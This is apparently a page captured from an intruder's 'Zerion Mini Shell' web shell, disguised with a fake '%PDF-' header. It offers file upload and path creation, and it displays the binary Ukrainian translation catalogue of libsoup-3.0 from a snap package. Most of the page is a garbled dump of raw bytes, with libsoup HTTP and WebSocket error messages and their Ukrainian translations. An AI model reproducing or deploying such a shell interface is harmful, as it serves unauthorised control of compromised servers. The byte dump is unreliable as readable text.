%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/uk/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/uk/LC_MESSAGES/libsoup-3.0.mo

��'T5�`#a5�!�"�")#M;k'����#08i�7�#�$"& Ij}��"�#�&
%4MZ&�2�#!9[y�:�
V�
N+7zF�e�H_l�B
%X
<~
)�
>�
g$#�)�6��M�p�EbH�%�#%;*aJ�B�OXj��HTF�1�C?Z3�9� '
%"&$#!	
Cannot truncate SoupBodyInputStreamCan’t create a TLS server without a TLS certificateCan’t import unconnected socketConnection terminated unexpectedlyCould not import existing socket: Could not listen on address %s, port %d: Could not parse HTTP responseDuplicated parameter in “%s” WebSocket extension headerFailed to completely cache the resourceHeader too bigHostname has no base domainHostname is an IP addressIncorrect WebSocket “%s” headerInvalid URI “%s” in Location response headerInvalid WebSocket keyInvalid hostnameInvalid seek requestLocation header is missing or empty in response headersMessage is already in session queueMessage was restarted too many timesNetwork stream unexpectedly closedNo public-suffix list available.Not enough domainsOperation was cancelledOperation would blockOutput buffer is too smallServer ignored WebSocket handshakeServer rejected WebSocket handshakeServer requested unsupported extensionServer requested unsupported protocolServer returned a duplicated parameter in “%s” WebSocket extension headerServer returned incorrect “%s” keyThe server did not accept the WebSocket handshake.Too many redirectsUnrecognized HTTP response encodingUnsupported WebSocket subprotocolUnsupported WebSocket versionWebSocket handshake expectedProject-Id-Version: libsoup master
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/libsoup/issues
PO-Revision-Date: 2021-06-11 23:12+0300
Last-Translator: Yuri Chornoivan <yurchor@ukr.net>
Language-Team: Ukrainian <kde-i18n-uk@kde.org>
Language: uk
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);
X-Generator: Lokalize 20.12.0
X-Project-Style: gnome
Не вдається обрізати SoupBodyInputStreamНеможливо створити сервер TLS без сертифіката TLSНеможливо імпортувати непід'єднаний сокетНесподівано зв'язок розірваноНе вдалося імпортувати наявний сокет: Не вдалося почати прослуховування за адресою %s, порт %d: Не вдалося проаналізувати відповідь HTTPДублювання параметра у заголовку розширення вебсокету «%s»Не вдалося повністю кешувати ресурсЗаголовок завеликийІм'я хоста не має базового доменуІм'я хоста - це IP-адресаНеправильний заголовок “%s” WebSocketНекоректна адреса, «%s», у заголовку відповіді щодо місцяНевірний ключ WebSocketНеправильне ім'я хостаНеправильний пошуковий запитПропущено заголовок місця або порожній заголовок місця у заголовках відповідіПовідомлення вже перебуває у черзі сеансуПовідомлення було перезапущено надто велику кількість разівМережевий потік несподівано закривсяСписок публічних суфіксів недоступний.Недостатньо доменівОперацію скасованоОперація блокуєтьсяВихідний буфер замалийСервер проігнорував рукостискання WebSocketСервер відхилив рукостискання WebSocketСервер запросив непідтримуване розширенняСервер запросив протокол, який не підтримуєтьсяСервером повернуто дубльований параметр у заголовку розширення вебсокету «%s»Сервер повернув неправильний ключ “%s”Сервер не прийняв рукостискання WebSocket.Забагато переспрямовуваньНерозпізнане кодування відповіді HTTPНепідтримуваний підпротокол WebSocketНепідтримувана версія WebSocketОчікується рукостискання WebSocket

Zerion Mini Shell 1.0